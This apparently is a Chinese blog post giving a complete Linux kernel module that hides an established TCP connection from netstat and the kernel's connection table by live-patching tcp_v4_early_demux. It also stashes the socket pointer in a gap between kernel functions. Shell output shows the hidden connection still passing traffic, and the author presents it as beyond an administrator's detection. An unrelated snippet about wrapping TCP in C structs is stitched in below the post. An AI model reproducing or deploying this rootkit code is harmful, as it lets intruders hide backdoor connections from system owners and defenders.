Linux系统中如何彻底隐藏一个TCP连接?

前面的文章中,我稍微描述了一下如何隐藏一个TCP连接:
https://blog.csdn.net/dog250/article/details/105372214

在上文中,我采用了 传统 的做法,即hook住proc的/proc/net/tcp展示接口,但这个方法并没有可观赏性,说白了有点像掩耳盗铃,毕竟连接还是在那里的,你自己去遍历系统的TCP ehash表,还是能看到所有大的TCP连接的。

所以,今天我来用 手艺活儿 的方法,庖丁解牛般演示如何彻底隐藏一个TCP连接。

看看那些各种hook proc展示接口的掩耳盗铃法,多么的复杂!多么的复杂啊!看看我这个,多么的彻底!多么的简单啊!

所谓的彻底隐藏,就是将一个TCP连接从系统的TCP ehash表中摘除!这个很容易,调用 inet_unhash 即可了。

问题是,摘除了之后,我们把它放在哪里,才能让进来的数据包顺利匹配到该连接呢?

答案还是二进制hook。

我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置,把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址:

#define ROOM_ADDR   0xffffffff815622dd

它就是ip_rcv函数和ip4_frag_match之间的无用空隙。当然了,我们也可以动态分配内存,但是并不优雅。

来吧,下面是代码:

// hide_connection.c
#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>
/* 
 * version 1.0
 * 缺点:
 *	1. 仅仅可以藏一个sock,后续可以增加一个新的藏污纳垢专有hlist,同样可以见缝插针
 *	2. 仅仅支持目标端口匹配,即stub_func_tcp4_demux仅仅根据目标端口过滤
 * 但这一切都是为了简单!简单!简单!
 */

char *stub = NULL;

// 用于立即数替换
#define	ROOM_MAGIC	0x1122334455667788
#define	PORT_MAGIC	0x3412

// hook住tcp_v4_early_demux后执行该函数
void stub_func_tcp4_demux(struct sk_buff *skb)
{
	struct iphdr *iph;
    struct tcphdr *th;
	struct sock *sk;

	if (skb->pkt_type != PACKET_HOST)
		return;

	if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))
		return;

	iph = ip_hdr(skb);
	th = tcp_hdr(skb);

	if (th->doff < sizeof(struct tcphdr) / 4)
		return;

	// PORT_MAGIC将会被目标端口所替换
	if (ntohs(th->dest) == PORT_MAGIC) {
		// ROOM_MAGIC将会被存放sock结构体的内存地址所替换,一个指针即可。
		struct sock **psk = (struct sock **)ROOM_MAGIC;
		sk = *psk; // 取出被藏匿的sock结构体地址

		atomic_inc_not_zero(&sk->sk_refcnt);
		skb->sk = sk;
		skb->destructor = sock_edemux;
		if (sk->sk_state != TCP_TIME_WAIT) {
			struct dst_entry *dst = sk->sk_rx_dst;

			if (dst)
				dst = dst_check(dst, 0);
			if (dst &&
				inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)
				skb_dst_set_noref(skb, dst);
		}
		goto out;
	}
	return;
out:
	// 不再执行原始的tcp_v4_early_demux函数,skip掉它的堆栈。
	asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

static int hide = 1;
module_param(hide, int, 0444);

static __be16 sport = 1234;
module_param(sport, ushort, 0444);

static __be16 dport = 1234;
module_param(dport, ushort, 0444);

static __be32 saddr = 0;
module_param(saddr, uint, 0444);

static __be32 daddr = 0;
module_param(daddr, uint, 0444);

static int ifindex = 0;
module_param(ifindex, int, 0444);

#define	ROOM_ADDR	0xffffffff815622dd

void restore_connection(void)
{
	struct sock *sk, **psk;

	psk = (struct sock **)ROOM_ADDR;
	sk = *psk;

	__inet_hash_nolisten(sk, NULL);
}

static int __init hideconn_init(void)
{
	s32 offset;
	char *_tcp4_early_demux, *stub_demux;
	unsigned long hide_psk[1];
	unsigned short aport[1];
	struct sock **hide_sk, *sk = NULL;
	unsigned long psk_addr = 0;
	int i;
	unsigned long *scan;
	unsigned short *sscan;

	_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");
	if (!_tcp4_early_demux) {
		return -1;
	}

	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		return -1;
	}

	if (hide == 0) { // 恢复TCP连接,将其重新插入TCP ehash表
		restore_connection();

		offset = *(unsigned int *)&_tcp4_early_demux[1];
		stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);

		get_online_cpus();
		mutex_lock(_text_mutex);
		_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);
		mutex_unlock(_text_mutex);
		put_online_cpus();

		vfree(stub);
		return -1;
	}

	stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));

/*
// 仅仅藏匿一个socket
#define SIZE	1
	// 如果我们采用动态分配内存的方式,就必须想办法能找到它。
	// 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择!
	hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
*/
	// 但为了更加trick,我还是选择藏污纳垢的方式来见缝插针!
	hide_sk = (struct sock **)ROOM_ADDR;
	if (!stub_demux || !hide_sk) {
		return -1;
	}

	// 根据参数传来的4元组来查找socket!
	sk = inet_lookup_established(&init_net, &tcp_hashinfo,
                            saddr, htons(sport), daddr, htons(dport), ifindex);
	if (!sk) {
		vfree(stub_demux);
		return -1;
	}

	*hide_sk = sk;
	psk_addr = (unsigned long)hide_sk;
	hide_psk[0] = psk_addr;
	stub = (void *)stub_func_tcp4_demux;

	// 扫描stub查找并替换“隐藏sock的内存地址”
	scan = (unsigned long *)stub;
	for (i = 0; i < 0x1ff; i++) {
		scan = (unsigned long *)&stub[i];
		if (*scan == ROOM_MAGIC)
			break;
	}
	_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));

	// 扫描stub查找并替换目标端口
	sscan = (unsigned short *)stub;
	for (i = 0; i < 0x1ff; i++) {
		sscan = (unsigned short *)&stub[i];
		if (ntohs(*sscan) == PORT_MAGIC)
			break;
	}
	aport[0] = htons(dport);
	_text_poke_smp(&stub[i], aport, sizeof(aport));

	memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);
	stub = (void *)stub_demux;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 将TCP连接从ehash摘除
	inet_unhash(sk);
	sock_put(sk);

	// 事了拂衣去,深藏身与名!
	return -1;
}

static void __exit hideconn_exit(void)
{
}

module_init(hideconn_init);
module_exit(hideconn_exit);
MODULE_LICENSE("GPL");

好了,让我们演示一把。

首先在机器上启动一个nc,然后另外一台机器上启动另一个nc或者telnet来连接它:

[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc

然后按照展示的四元组来加载模块:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
[root@localhost ~]# echo $?
1

看来,连接已经被隐藏掉了。然而连接还在,连接它的那台机器还可以和它通信:

root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222
Trying 192.168.56.110...
Connected to 192.168.56.110.
Escape character is '^]'.
11111
3333333
222222222222222

在本机看来:

[root@localhost ~]# nc -l 2222
11111
3333333
222222222222222

双方在不停地相互echo。

好了,玩够了,现在让我们恢复这个TCP连接:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc
[root@localhost ~]# echo $?
0

我起初想的是,靠动态内存分配,在系统中营造一个TCP连接的小王国,或者说进程的小王国,把隐藏掉的TCP连接或者进程均放在这些小王国里,只有我自己知道它们在哪里:

  • 它们在内核函数的间隙。
  • 它们在任意位置。
  • 它们的地址被分为4个部分,每个部分2字节,这样只需4个不连续的2字节间隙即可。
  • 它们甚至可以一个字节一个字节拼起来形成一个地址。

以这种方式隐藏掉的TCP连接,是比较彻底的隐藏方式,经理基本是无法查出来的。

如果你说CFI,好吧,一般的经理不懂CFI的,不过无论怎样,经理的皮鞋都是真皮的。


浙江温州皮鞋湿,下雨进水不会胖

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
在 C 语言,没有类的概念,但是可以使用结构体和函数指针等技术来实现面向对象编程的一些特性。下面是一个简单的封装 TCP 的例子,使用了结构体和函数指针来实现。 首先,我们定义一个结构体来表示 TCP 连接: ```c typedef struct { int sockfd; } tcp_t; ``` 其,`sockfd` 表示套接字文件描述符,即表示 TCP 连接的句柄。接下来,我们定义一些操作 TCP 连接的函数: ```c typedef int (*tcp_connect_func_t)(tcp_t *tcp, const char *host, int port); typedef int (*tcp_send_func_t)(tcp_t *tcp, const void *buf, size_t len); typedef int (*tcp_recv_func_t)(tcp_t *tcp, void *buf, size_t len); typedef void (*tcp_close_func_t)(tcp_t *tcp); ``` 这里使用了函数指针,将这些操作函数作为结构体的成员,可以方便地进行封装。 接下来,我们定义一个 TCP 类,包括一些操作函数的实现: ```c typedef struct { tcp_t tcp; tcp_connect_func_t connect; tcp_send_func_t send; tcp_recv_func_t recv; tcp_close_func_t close; } tcp_class_t; int tcp_connect(tcp_class_t *tcp, const char *host, int port) { return tcp->connect(&tcp->tcp, host, port); } int tcp_send(tcp_class_t *tcp, const void *buf, size_t len) { return tcp->send(&tcp->tcp, buf, len); } int tcp_recv(tcp_class_t *tcp, void *buf, size_t len) { return tcp->recv(&tcp->tcp, buf, len); } void tcp_close(tcp_class_t *tcp) { tcp->close(&tcp->tcp); } ``` 这里使用了结构体嵌套,将 `tcp_t` 结构体作为 `tcp_class_t` 的成员,实现了 TCP 连接的封装。其,`tcp_connect`、`tcp_send`、`tcp_recv`、`tcp_close` 分别对应 TCP 连接连接、发送、接收和关闭操作。 最后,我们可以使用这个 TCP 类来创建 TCP 连接: ```c tcp_class_t tcp = { .tcp = { .sockfd = -1 }, .connect = tcp_connect_impl, .send = tcp_send_impl, .recv = tcp_recv_impl, .close = tcp_close_impl }; if (tcp.connect(&tcp, "example.com", 80) == -1) { perror("tcp.connect"); return 1; } char buf[1024]; if (tcp.send(&tcp, "GET / HTTP/1.1\r\n\r\n", strlen("GET / HTTP/1.1\r\n\r\n")) == -1) { perror("tcp.send"); return 1; } if (tcp.recv(&tcp, buf, sizeof(buf)) == -1) { perror("tcp.recv"); return 1; } tcp.close(&tcp); ``` 这里创建了一个 `tcp_class_t` 对象,调用其成员函数来连接、发送、接收和关闭 TCP 连接。具体

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值